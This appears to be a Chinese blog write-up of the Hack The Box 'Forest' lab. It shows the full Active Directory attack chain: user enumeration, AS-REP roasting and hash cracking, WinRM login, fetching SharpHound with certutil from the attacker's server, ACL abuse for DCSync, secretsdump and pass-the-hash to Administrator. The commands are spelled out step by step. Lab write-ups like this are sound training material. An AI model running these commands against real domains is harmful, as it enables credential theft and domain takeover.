HTB-Forest

2 篇文章 0 订阅
2 篇文章 0 订阅

HTB-Forest

在这里插入图片描述

[1]侦擦与枚举

[1.1]开放的端口

  • 使用nmap扫描开放的端口以及有用的信息
root@kali:~/HTB/Forest$ nmap -sC -sV -oA nmap/Forest 10.10.10.161

在这里插入图片描述
我们可以发现:

- 使用Kerberos打开了88端口
- 通常在Windows Server Domain Controller中打开的所有端口,我们看到它是Windows Server 2016 Standard,在445端口上
- WinRM2.0(Microsoft Windows 远程管理)在5985端口上
- 靶机的域名是htb.local

[1.2]Active Directory

  1. Acitve Directory(AD) 是一项Microsoft技术,用于管理网络上的计算机和其他设备。
  2. Active Directory 允许网络管理员在网络中创建和管理域、用户和对象。
  3. 例如管理员可以创建一组用户,并赋予他们对服务器上某些目录的特定访问权限。随着网络的发展,Active Directory提供了一种将大量组织为逻辑组和子组的方法,同时提供了每个级别的访问控制。

[1.3]枚举用户数据

  • 使用工具enum4linux对靶机进行简单的枚举
root@kali:~/HTB/Forest# enum4linux -a 10.10.10.161 > user.txt

在这里插入图片描述
我们从输出中获得了一堆潜在的用户并且保存在user.txt文件中,但是因为输出的文件很多并且很杂乱我们必须对文件进行过滤,提取有用的信息。

  • 过滤enum4linux的输出结果得到完整的用户清单
root@kali:~/HTB/Forest$ cat user.txt | awk -F ":"  '{print $5}' | awk -F " "  '{print $1}' > userlist.txt

在这里插入图片描述
由于长度的原因上图的清单并不完整,如果到达这一步,在清单的最后一个用户为svc-alfresco

[2]获得访问权限

通过简单的枚举和过滤我们拥有一份有效的用户列表,我们可以尝试ASREPRoast攻击。

ASREPRoast 攻击会寻找不需要Kerberos预身份验证的用户。这意味着任何人都可以代表那些用户中的任何一个向KDC发送AS_REQ请求,并且接收AS_REP消息。这最后一种消息包含大量数据使用原始用户密钥(有其密码派生)进行加密,然后使用此消息,可以离线破解用户名密码。

[2.1]安装impacket、GetNPUsers.py脚本

root@kali:~/HTB/Forest$ git clone https://github.com/SecureAuthCorp/impacket.git impacket-tools

在这里插入图片描述

[2.2]使用GetNPUsers.py脚本

root@kali:~/HTB/Forest$ python imapchet-tools/examples/GetNPUsers.py htb.local/ -usersfile userlist.txt -format john -outputfile hashed -dc-ip 10.10.10.161
  htb.local 这是我们从nmap输出提取的域名
 -usersfile 这是我们要测试userfile.txt的用户列表,我们充enum4linux输出中提取的有效用户列表
 -format john 设置为john格式,因此我们可以轻松破解
 -outputfile hashed 将哈希保存在hashed文件中
 -dc-ip 靶机的IP地址

在这里插入图片描述
从输出上来看这些似乎没什么用,hashed是加密的哈希格式,并且有一个用户的ID:svc-alfresco
在这里插入图片描述

  • 使用john对hashed文件进行破解
root@kali:~/HTB/Forest$ john --wordlist=/usr/share/worlists/rockyou.txt

在这里插入图片描述
破解之后我们发现密码为s3rvice

[2.3]获得访问权限

(WinRM)是一种Microsoft协议,允许使用SOAP通过HTTP(S)远程管理Windows计算机。在后端,它利用WMI,因此您可以将其视为WMI的基于HTTP的API。
由于Windows远程管理(WinRM)再5985上已经启用,让我们使用evil-winrm工具尝试攻击。

  • evil-winrm安装以及使用
root@kali:~/HTB/Forest$ gem install evil-winrm 
root@kali:~/HTB/Forest$ evil-winrm -i 10.10.10.161 -u svc-aflresco -p s3rvice

在这里插入图片描述
我们成功登录了svc-alfresco用户。

[3]本地侦擦和枚举

[3.1]基本信息

  • 当我们成功的登录到目标机上,我们可以使用whoami命令来指定用户所属的组
PS C:\> whoami /groups

在这里插入图片描述
我们发现服务账号还具有该Account Operator角色,这意味着它可以创建用户并将其添加到组中。
接下来我们可以使用BloodHound这个非常有用的工具,它可以在Active Directory环境中自动查找有趣的路径以提升特权。首先我们要做的是从Active Directory收集必要的数据。可以实现Blood Hound ingester 称为Sharp Hound(使用二进制或者Powershell的脚本),并与从再域中的任何计算机域的任何用户。

由于我们位于Active Directory的域中,因此我们使用Blood Hound揭示该域中隐藏的文件。

[3.2]BloodHound工具

  • 安装BloodHound
root@kali:~/HTB/Forest$ apt install bloodhound
  • 拥有SharpHound调查员
    Sharphound必须从域用户中运行,可以直接通过登录或通过其他方法(例如RUNAS)运行。
    然后,我们可以使用命令行枚举主机上组中的用户
PS C:\> net grous "Exchange Windos Permissions"

该命令使您知道用户从主机svc-alfresco请求了资源。此信息确认当前在组上没有活动会话。Exchange Windows Permissions SOURCE
svc-alfresco Exchange Windows Permissions

这些不同的信息(并非详尽无遗)是由SharpHound采集器收集的,并以json格式保存在不同的文件中。

  • 将SharpHound安装到svs-alfresco
  1. 下载SharpHound.exe
root@kali:~/HTB/Forest$ git clone https://github.com/BloodHoundAD/BloodHound.git

在这里插入图片描述

  1. 使用python设置HTTP服务器
root@kali:~/HTB/Forest/BloodHound/Ingestors# python -m SimpleHTTPServer 80

在这里插入图片描述
注:必须在刚下载好的BloodHound/Ingestors开启python服务器

  1. 在evil-winrm Shell中安装并运行SharpHound.exe
PS C:\ certutil.exe -urlcache -split -f http://10.10.14.45/SharpHound.exe SharpHound.exe
PS C:\ ./SharpHound.exe

在这里插入图片描述
运行之后的SharpHound.exe将会产生一个ZIP文档,我们将这个文档从
svc-aflresco主机上下载到我们的系统上。

  • 下载ZIP
PC C:\ download 20200325112604_BloodHound.zip

回到我们的系统上。

  • 启用neo4j服务、bloodhound
root@kali:~/HTB/Forest$ neo4j console bloodhound
root@kali:~/HTB/Forest$ bloodhound 

注:当启动bloodhound的时候需要有neo4j数据库的支持,如果从未使用过neo4j数据库需要到这里设置账号和密码

将得到的ZIP存档拖到BloodHound软件中将得到一份“找到域管理员的最短路径”
在这里插入图片描述
我们发现:

  • svc-alfresco用户在SERVICE ACCOUNT组
  • 该组是PRIVILEGEDIT ACCOUNT组 的成员,PRIVILEGED IT ACCOUNT组ACCOUNT OPERATORS组 的成员。
  • 并且ACCOUNT OPERATORS组EXCHANGE WINDOWS PERMISSIONS组 拥有GenericALL权限(允许我们对此组执行任何操作 GenericAll = 完全控制)
  • svc-alfrescoEXCHANGE WINDOWS PERMISSIONS具有GenericALL权限
  • 交换WINDOWS权限 对域具有WriteDACL权限(提供修改对象安全性的能力,这可能导致对对象的完全控制)。

[4]特权提升

[4.1]攻击思路

  1. 直接从svc-alfresco转到管理员(这样子将会破会HTB上其他的用户盒子),因此我将要使用aclpwn工具来实现自动化
  2. svc-alfresco用户添加到EXCHANGE WINDOWS PERMISSIONS组 里(在我们使用whoami /goups发现可以创建用户并将其添加到组中)
  3. 授予svc-alfresco用户对域的FCSync权限

[4.2]获取根

  • 安装aclpwn工具、使用
root@kali:~/HTB/Forest$ pip install aclpwn
root@kali:~/HTB/Forest$ aclpwn -f svc-alfresco -ft user -d htb.local -du neo4j -dp 311311 -sp s3rvice -s 10.10.10.161

注:路径选择 0

  • 获得组里每个人(包括管理员)的哈希
    这里将使用imapcket中的secretsdump.py脚本
root@kali:~/HTB/Forest$ python impacket-tools/examples/secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161

在这里插入图片描述

  • 使用evil-winrm登录Administrator
root@kali:~/HTB/Forest$ evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

在这里插入图片描述
可以看到我们成功的获得了root!
I got Root~!在这里插入图片描述

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值